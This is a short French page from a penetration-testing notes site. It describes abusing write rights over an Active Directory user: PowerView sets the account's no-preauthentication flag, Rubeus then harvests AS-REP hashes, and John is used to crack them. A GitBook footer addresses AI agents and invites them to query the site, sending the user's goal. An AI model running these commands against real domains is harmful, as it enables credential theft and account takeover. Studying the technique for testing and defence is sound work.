> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).
# Activer la vulnérabilité AS-REP via ACL
Notes de sécurité Active Directory pour l'activation de la vulnérabilité AS-REP via ACL, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.
### Principe
Dans certains cas, un utilisateur n’a pas le `Ne pas exiger la préauthentification Kerberos` option.
Mais si nous avons des droits d’écriture sur cet utilisateur, par exemple :
```bash
GenericAll
GenericWrite
WriteAllProperties
```
nous pouvons modifier son attribut `userAccountControl`.
### Exemple avec `astrid.niki`
L’utilisateur `user1` a une permission d’écriture sur :
```bash
astrid.niki
```
Nous activons ensuite l’ `DONT_REQ_PREAUTH` option avec PowerView :
{% code overflow="wrap" %}
```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```
{% endcode %}
### Relancer l’AS-REP Roasting
Après la modification, l’utilisateur apparaît dans les résultats :
{% code overflow="wrap" %}
```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```
{% endcode %}
Ensuite, nous crackons le hash :
{% code overflow="wrap" %}
```bash
hash John
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
